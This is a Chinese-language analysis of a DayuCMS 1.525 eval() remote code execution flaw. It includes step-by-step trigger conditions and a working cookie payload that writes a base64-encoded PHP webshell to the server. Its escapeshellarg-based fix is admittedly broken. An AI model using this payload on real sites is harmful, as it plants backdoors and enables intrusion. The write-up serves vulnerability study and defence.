catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

http://joychou.org/index.php/web/dayucms-1-526-foreground-remote-code-execution.html
http://www.wooyun.org/bugs/wooyun-2014-087518

2. 漏洞触发条件

. IP可以利用XSS伪造,所以cookiekey可以固定为: b98b87d11653f2da
. 先访问一下/pay/order.php,得到Cookie的prefix,然后和cookiekey拼接,得到cookie键值为:cbpCMSNTNAb98b87d11653f2da
//这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用
. 然后修改X_FORWARDED_FOR为0.0.0.
. 新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
. 代码执行

3. 漏洞影响范围
4. 漏洞代码分析

/include/global.func.php

// 字符串转换为数组
function string2array($str)
{
if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
if($str=='') return array();
if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回
//直接利用eval进行字符串到数组的赋值
@eval("\$array = $str;");
return $array;
}

继续回溯函数调用方
/pay/order.php

$payobj=new pay();

$action=isset($action)?$action:'step1';
session_start(); //cookiekey是字符串'productarray'和IP地址拼接得到的md5
$cookiekey=dayucms_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));

IP声明在/include/common.inc.php

define('IP',getIp());

include/global.func.php

// 获取IP地址
function getIp()
{
$ip='未知IP'; if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
//ip可以利用X-Forwarded-For伪造
return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
}
else
{
return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
}
}

nclude/global.func.php

function get_cookie($var)
{
$var = COOKIE_PRE.$var;
return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
}

string2array函数的正常用法是

$tmp = 'array("hello"=>"world")';
$arr = string2array($tmp);
var_dump($arr); //此时$arr就为一个数组

但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("\$array = 1;echo 222;"); 导致代码执行,同时需要明白的是,代码注入并不是这个eval漏洞点唯一的利用方式,黑客可以在payload中加入"&{${...}}"这种语法,PHP解析器会立刻进行执行

5. 防御方法

/include/global.func.php

// 字符串转换为数组
function string2array($str)
{
if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
if($str=='') return array();
if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回
/**/
$str = escapeshellarg($str);
/**/
@eval("\$array = $str;");
return $array;
}

这个防御方案存在问题,会将正常传入的array('a' => 'b')这种类型的字符串破坏,导致程序crash,一个可能可行的思考方向是对$str进行token语法树解析,在token语法树层面检测是否存在危险字符

6. 攻防思考

0x1: PHP命令注入攻击漏洞的防范

. 尽量不要执行外部的应用程序或命令
. 使用自定义函数或函数库实现外部应用程序或命令的功能
. 在执行system、eval等命令执行功能的函数前,确定参数内容
. 使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如
) 单引号"’"会被转义为"\’"
) 双引号"""会被转义为"\""
) 分号";"会被转义为"\;"
这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的
//escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符
. 使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败

Relevant Link:

http://php.net/manual/zh/function.escapeshellarg.php
http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

Copyright (c) 2015 Little5ann All rights reserved

DayuCMS 1.525 /include/global.func.php Foreground Arbitrary Code Execution的更多相关文章

  1. Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界 ...

  2. PHP exec/system启动windows应用程序,执行.bat批处理,执行cmd命令

    exec 或者 system 都可以调用cmd 的命令 直接上代码: <?php /** 打开windows的计算器 */ exec('start C:WindowsSystem32calc.e ...

  3. Java性能提示(全)

    http://www.onjava.com/pub/a/onjava/2001/05/30/optimization.htmlComparing the performance of LinkedLi ...

  4. destoon短信接口修改方法

    destoon是很优秀的B2B行业站程序.程序模块化开发契合度很高,二次开发起来也很顺畅.数据缓存,权限分配,SEO功能方面都不错. 但是在使用这套程序的时候,常常要用到发送短信的功能,而destoo ...

  5. cmd命令运行php,php通过cmd运行文件

    一.cmd命令运行php 1.通过配置环境变量 >php "php文件" 如果要待参数 php -q "php文件" 参数 php获取参数 $a = $a ...

  6. phpcms 的实用相关接口,函数,调用方法

    常用函数 , 打开include/global.func.php,下面存放一些公共函数view plaincopy to clipboardprint? strip_tags() 调用内容过滤html ...

  7. phpcms常用接口调用方法

    常用函数 , 打开include/global.func.php,下面存放一些公共函数 view plaincopy to clipboardprint?function str_charset($i ...

  8. phpcms 源码分析一: common.inc.php

      其实就是从网上找到的的逆雪寒的分析, 我下来之后发现格式和错字的问题,非常影响阅读,现在我就是做了下搬运工的角色, 同时将格式调整到可读性提高点而已,让各位看官稍微舒心点: 下面进入整体: < ...

  9. 高级PHP应用程序漏洞审核技术

    前言 PHP是一种被广泛使用的脚本语言,尤其适合于web开发.具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应 用,包括Yahoo.sina.163.sohu等大型门户 ...

随机推荐

  1. C#.NET 大型通用信息化系统集成快速开发平台 4.0 版本 - 用户权限树的实现 -- 权限递归树

    业务系统里经常会需要计算类似的树形权限树的业务需求 1:往往会有一些需求,a 对 b 有权限, b对c 有权限, 等等. 2:还需要很直观的看到,整个权限的树形关系,一目了然的那种. 3:程序调用简单 ...

  2. js 随笔

    setInterval:即使在方法中使用了stopInterval这个方法也要执行完才会停止自行重复执行,解决:使用return false来跳出方法. JS string和num:当一个是字符串数字 ...

  3. VMware Fusion 中如何复制centos/linux虚拟机

    今天想在mac本上,弄几个centos的虚拟机,尝试搭建hadoop的全分布环境.一台台虚拟机安装过去太麻烦了,想直接将现有的centos虚拟机复制几份完事,但是复制出来的虚拟机无法上网,折腾了一翻, ...

  4. Spring MVC 急速集成 Shiro 实录

    相信有很多的程序员,不愿意进行用户管理这块代码实现. 原因之一,不同的JavaEE 系统,用户管理都会有个性化的实现,逻辑很繁琐. 而且是系统门面,以后背锅的几率非常大,可谓是低收益高风险. 最近在系 ...

  5. PRML读书会第十三章 Sequential Data(Hidden Markov Models,HMM)

    主讲人 张巍 (新浪微博: @张巍_ISCAS) 软件所-张巍<zh3f@qq.com> 19:01:27 我们开始吧,十三章是关于序列数据,现实中很多数据是有前后关系的,例如语音或者DN ...

  6. GWT-Dev-Plugin(即google web toolkit developer plugin)for firefox的下载地址

    如果FireFox的版本为20,则对应google-web-toolkit的插件离线下载地址,不要用浏览器直接下载,用Flashget等客户端下载,超快. http://google-web-tool ...

  7. 三言两语聊Python模块–文档测试模块doctest

    doctest是属于测试模块里的一种,对注释文档里的示例进行检测. 给出一个例子: splitter.pydef split(line, types=None, delimiter=None): &q ...

  8. 东大OJ-5到100000000之间的回文质数

    1217: VIJOS-P1042 时间限制: 0 Sec  内存限制: 128 MB 提交: 78  解决: 29 [提交][状态][讨论版] 题目描述         有一天,雄霸传授本人风神腿法 ...

  9. webpack入坑之旅(六)配合vue-router实现SPA

    这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...

  10. 通过android 客户端上传图片到服务器

    昨天,(在我的上一篇博客中)写了通过浏览器上传图片到服务器(php),今天将这个功能付诸实践.(还完善了服务端的代码) 不试不知道,原来通过android 向服务端发送图片还真是挺麻烦的一件事. 上传 ...